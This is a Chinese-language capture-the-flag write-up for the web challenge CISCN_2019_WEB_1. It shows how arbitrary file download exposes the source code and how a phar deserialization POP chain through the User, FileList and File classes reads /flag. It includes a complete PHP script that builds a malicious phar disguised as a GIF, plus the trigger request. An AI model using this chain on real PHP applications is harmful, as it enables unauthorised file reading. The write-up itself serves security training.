[BMZCTF]-CISCN_2019_WEB_1
這道題目先注册一个用户登录进来吧
登陆后只有一个文件上传功能,而且限制了只能上传png,jpg,gif文件,其他的一律不允许,文件上传的一些绕过经过初步尝试是无效的,而且上传之后文件的存储路径不知道
这里可以注意道,他这里还提供了个文件下载的功能,那就说不定可以下载任意文件,这里直接抓下载的包然后尝试一下下载,成功拿到源代码
最终一共找到这么几个页面的源代码
看到了好几个魔法方法,果断全局搜索serialize
有点可惜
但还有phar,phar受影响的函数较多
最终是发现了file_exists
直接跟过去发现它是在file类的open方法中被调用了
然后再跟过去发现delete方法和download方法都调用了,那触发点算是找到了,但需要注意的是在download.php中,设置了目录:
而只有delete.php中的目录是在题目给定的文件上传沙盒中的,故只有delete操作能直接phar://触发反序列化。
接下来构造反序列化利用链,先找可利用函数,file类中的close方法调用了file_get_contents
这里要注意的是close()是File类的方法,而File类只在Filelist类中有调用过。但Filelist中并没有调用close()方法的位置。此时需要注意Filelist类中的两个魔术方法之一:__call
它将Filelist类中的files数组全部遍历了一遍,并执行对应的func()结果被存进result。之后的__destruct()方法则会将result等等结果打印出来。
这一条利用在于:确保了Filelist的对象如果能借此魔术方法调用close()方法,那么它最后销毁时析构函数会打印出我们需要的文件内容。
之后再次审计,注意到User类的__destruct()方法
原本只是一个同名close()函数,但是此处却存在着可利用之处。假如我们的文件上传的是User类的对象。销毁时自然会执行close()函数。但如果把db设置为Filelist类的对象,那么db->close()执行时将找不到close()函数,进而执行其files数组里的每一个函数。那么如果files数组里是存在同名函数close的File类对象,就能成功执行文件读取。
<?php
class User{
public $db;
}
class File{
public $filename = "/flag";
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files = array(new File());
$this->results = array();
$this->funcs = array();
}
}
$a = new User();
$a->db = (new FileList());
echo serialize($a);
$phar = new Phar("exp.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
将生成的exp.phar改成exp.gif上传,然后在delete页面改成filename=phar://exp.gif
参考文章:https://www.jianshu.com/p/ca36dfed3fdb